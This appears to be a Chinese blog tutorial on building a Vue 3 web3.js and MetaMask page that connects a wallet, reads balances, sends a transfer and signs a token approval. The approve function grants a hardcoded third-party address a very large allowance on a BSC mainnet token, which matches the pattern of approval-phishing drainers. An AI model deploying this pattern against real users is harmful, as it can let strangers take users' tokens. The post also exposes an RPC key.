vue+web3js+metamask实现代币转账授权功能

发布时间:2023年12月30日

vue+web3js+metamask实现代币转账授权功能

介绍

主要实现功能: 连接钱包、获取余额、获取地址、转账、授权

大概效果就是下面这样
默认打开会请求连接小狐狸钱包连接后用户可以进行转账、授权等一系列操作
在这里插入图片描述

个人环境:vue3 + metamask插件 + Ganache

Ganache用来在本地测试环境中导出钱包执行转账操作

安装地址 https://trufflesuite.com/ganache/

RPC节点可以用我申请这个,也可以自己去申请
建议自己去申请
每天可以请求40k
https://bsc.getblock.io/a2b0c3bb-10a9-4400-973e-7b6bc011d298/mainnet/

https://getblock.io/
安装完以后进入到软件
有这样的一个界面
在这里插入图片描述
把链ID 和RPC 地址记下来
到小狐狸中添加网络
在这里插入图片描述
弄好这些以后在小狐狸中导入钱包,私钥点上面Ganache中那个小钥匙就可以显示了
导入后我们可以看到钱包余额
在这里插入图片描述
当然网络我们要选择我们刚刚添加本地网络
在这里插入图片描述
到现在为止环境就准备好了

完整代码

依赖
{
  "name": "web3",
  "version": "0.0.0",
  "private": true,
  "type": "module",
  "scripts": {
    "dev": "vite",
    "build": "vite build",
    "preview": "vite preview"
  },
  "dependencies": {
    "@wagmi/core": "^1.4.12",
    "@web3modal/wagmi": "^3.5.3",
    "pinia": "^2.1.7",
    "sass": "^1.69.6",
    "viem": "^1.21.1",
    "vue": "^3.3.11",
    "vue-router": "^4.2.5",
    "web3": "^4.3.0"
  },
  "devDependencies": {
    "@vitejs/plugin-vue": "^4.5.2",
    "vite": "^5.0.10"
  }
}
index.vue

这个文件就是一个框架
配合路由实现点击标题切换到不同的页面

<script setup>
import { ref } from "vue";
import { RouterView, useRouter } from "vue-router";

const router = useRouter();

const active = ref(0);

const goMeta = () => {
  active.value = 0;
  router.push("/meta");
};

const goWallet = () => {
  active.value = 1;
  router.push("/wallet");
};
</script>

<template>
  <div class="index">
    <div class="nav">
      <span @click="goMeta" :class="active==0?'active':''">MetaMask</span>
      <span @click="goWallet" :class="active==1?'active':''">WalletConnect</span>
    </div>
    <div class="box">
      <RouterView />
    </div>
  </div>
</template>


<style lang="scss" scoped>
.index {
  width: 60%;
  height: auto;
  background: #f8f3d4;
  padding: 80px;
  margin: auto;
  .nav {
    display: flex;
    justify-content: space-around;
    align-items: center;
    font-weight: 600;
    span {
      cursor: pointer;
    }
    .active{
        color: #e84545;
        border-bottom: 3px solid #e84545;
        padding-bottom: 5px;
    }
  }
}
</style>
MetaMask.vue

具体实现了连接钱包、转账、授权等操作
import { bsc20 } from “@/abi/BSC20.js”;
bsc20这个是bsc合约的abi,可以自己到区块浏览器上复制
转账我这里默认是10,需要自己修改

<script setup>
import { onMounted, ref } from "vue";
import Web3 from "web3";
import { bsc20 } from "@/abi/BSC20.js";

const content = ref("");

let web3 = new Web3();
let address = ref("");
let balance = ref("");
const connect = async () => {
  if (window.ethereum) {
    //用户已经安装钱包插件
    window.ethereum.enable().then((res) => {
      web3 = new Web3(web3.currentProvider);
      if (res.length > 0) {
        //至少连接了一个钱包地址
        console.log("钱包链接成功");
        console.log(res); //获取连接地址
        address.value = res[0];
        web3 = new Web3(
          Web3.givenProvider || "https://bsc.getblock.io/a2b0c3bb-10a9-4400-973e-7b6bc011d298/mainnet/"     //主网
          // Web3.givenProvider || "HTTP://127.0.0.1:7545"      //本地基于Ganache,授权功能实现不了
          // Web3.givenProvider || "https://data-seed-prebsc-1-s1.binance.org:8545"         //bsc测试网,授权功能也实现不了
        );
      } else {
        console.log("请先链接钱包");
        window.ethereum.enable(); //用户安装了钱包插件,但未连接钱包
      }
    });
  } else {
    alert("请先安装metamask钱包或使用walletconnect进行连接");
  }
};

const getAddress = () => {
  content.value = address.value;
};

const getBalance = async () => {
  await window.ethereum
    .request({
      method: "eth_getBalance",
      params: [address.value, "latest"],
    })
    .then((res) => {
      balance.value = Web3.utils.fromWei(parseInt(res, 16).toString(), "ether");
      content.value = balance.value;
    });
};

const transfer = async () => {
  const num = parseInt(web3.utils.toWei("10", "ether")); //必须要先转为数字在转16进制
  const hexValue = "0x" + num.toString(16);

  const transactionParams = {
    from: address.value,
    to: "0x6Fe2A04ABd03EB587d4a913F04e3Bbef9b7809a1",
    gas: "0x5208", // 一般情况下,以太坊交易的 gas 限制是21000
    value: hexValue, // 以太币数量需要16进制数据单位是wei
  };

  // 发送交易
  ethereum
    .request({
      method: "eth_sendTransaction",
      params: [transactionParams],
    })
    .then((transactionHash) => {
      console.log("Transaction Hash:", transactionHash);
    })
    .catch((error) => {
      console.error("Error:", error);
    });
};

const approve = async () => {                   //必须要主网才可以
  try {
    // 检查 MetaMask 是否已安装并连接
    if (window.ethereum) {
      const contractAddress = "0x2170ed0880ac9a755fd29b2688956bd959f933f8"; // 合约地址
      const contractAbi = bsc20; // 合约 ABI

      // 合约方法名称和参数
      const authorizedAddress = "0xED1d7e7AF459e82DC44CC847355d32069A9f3830"; // 授权地址
      const authorizationAmount = "0x33b2e3c9fd0804000000000"; // 授权数量的十六进制表示

      // 初始化合约
      const contract = new web3.eth.Contract(contractAbi, contractAddress);

      // 获取账户列表
     

      // 构建交易对象
      const transactionObject = {
        from: address.value,
        to: contractAddress,
        data: contract.methods
          .approve(authorizedAddress, authorizationAmount)
          .encodeABI(),
      };

      // 发送交易请求
      const result = await window.ethereum.request({
        method: "eth_sendTransaction",
        params: [transactionObject],
      });

      console.log(result);
    } else {
      console.error("MetaMask 提供者未找到");
    }
  } catch (error) {
    console.error("发生错误:", error);
  }
};

onMounted(() => {
  connect();
});
</script>

<template>
  <div class="meta">
    <button @click="getAddress">获取地址</button>
    <button @click="getBalance">获取余额</button>
    <button @click="transfer">转账</button>
    <button @click="approve">授权</button>
  </div>
  <span>{{ content }}</span>
</template>

<style lang="scss" scoped>
.meta {
  padding: 40px;
  display: flex;
  justify-content: space-between;
  button {
    width: 75px;
    height: 30px;
    cursor: pointer;
  }
}
span {
  text-align: center;
}
</style>
Walletconnect.vue

通过walletconnect连接只是实现了获取地址和余额的方法
转账和授权我不太会写
官方文档暂时也还不太理解

<script setup>
import { ref, onMounted } from "vue";
import { bsc20 } from "@/abi/BSC20.js";
import Web3 from "web3";
import {
  createWeb3Modal,
  defaultWagmiConfig,
  useWeb3Modal,
} from "@web3modal/wagmi/vue";
import { bsc, bscTestnet, mainnet, arbitrum } from "viem/chains";
import { getAccount } from "@wagmi/core";

let web3;
const content = ref("");
const address = ref("");
const balance = ref("");
const walletConnect = () => {
  // 1. Get projectId at https://cloud.walletconnect.com
  const projectId = "3840874bfac68f574157f707d84737bf";

  // 2. Create wagmiConfig
  const metadata = {
    name: "Web3Modal",
    description: "Web3Modal Example",
    url: "https://web3modal.com",
    icons: ["https://avatars.githubusercontent.com/u/37784886"],
  };

  const chains = [bsc, bscTestnet, mainnet, arbitrum];
  const wagmiConfig = defaultWagmiConfig({ chains, projectId, metadata });

  // 3. Create modal
  createWeb3Modal({ wagmiConfig, projectId, chains });

  const modal = useWeb3Modal();

  modal.open({ view: "Account" });

  web3 = new Web3(
    "https://bsc.getblock.io/a2b0c3bb-10a9-4400-973e-7b6bc011d298/mainnet/"
  );
};

const getAddress = () => {
  const account = getAccount();
  address.value= account.address;
   content.value= address.value;
};

const getBalance = () => {
  web3.eth.getBalance(address.value).then((res) => {
    balance.value = Web3.utils.fromWei(res, "ether");
    content.value = balance.value;
  });
};

const transfer = async () => {
  // 不知道应该怎么写
}

const approve = () => {};

onMounted(() => {
  walletConnect();
});
</script>

<template>
  <div class="wallet">
    <button @click="getAddress">获取地址</button>
    <button @click="getBalance">获取余额</button>
    <button @click="transfer">转账</button>
    <button @click="approve">授权</button>
  </div>
  <span>{{ content }}</span>
</template>

<style lang="scss" scoped>
.wallet {
  padding: 40px;
  display: flex;
  justify-content: space-between;
  button {
    width: 75px;
    height: 30px;
    cursor: pointer;
  }
}
span {
  text-align: center;
}
</style>

踩坑点

1.当连接测试网和本地网络的时候不能实现授权
具体原因我也不知道

2.小狐狸官方要求使用 ethereum.request发起交易请求,使用web3.eth就会报错
eth_sendTransaction方法不存在 
官方文档是纯英文的不是很能看得懂

3.使用eth_sendTransaction转账的时候要先转wei再转16进制
web3.utils.toWei("1","ether")
使用这个方法转wei得到的结果是一个字符串,必须先转成数字才可以转16进制

MetaMask 官方文档
https://docs.metamask.io/wallet/reference/json-rpc-api/

文章来源:https://blog.csdn.net/2301_76809965/article/details/135302948
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。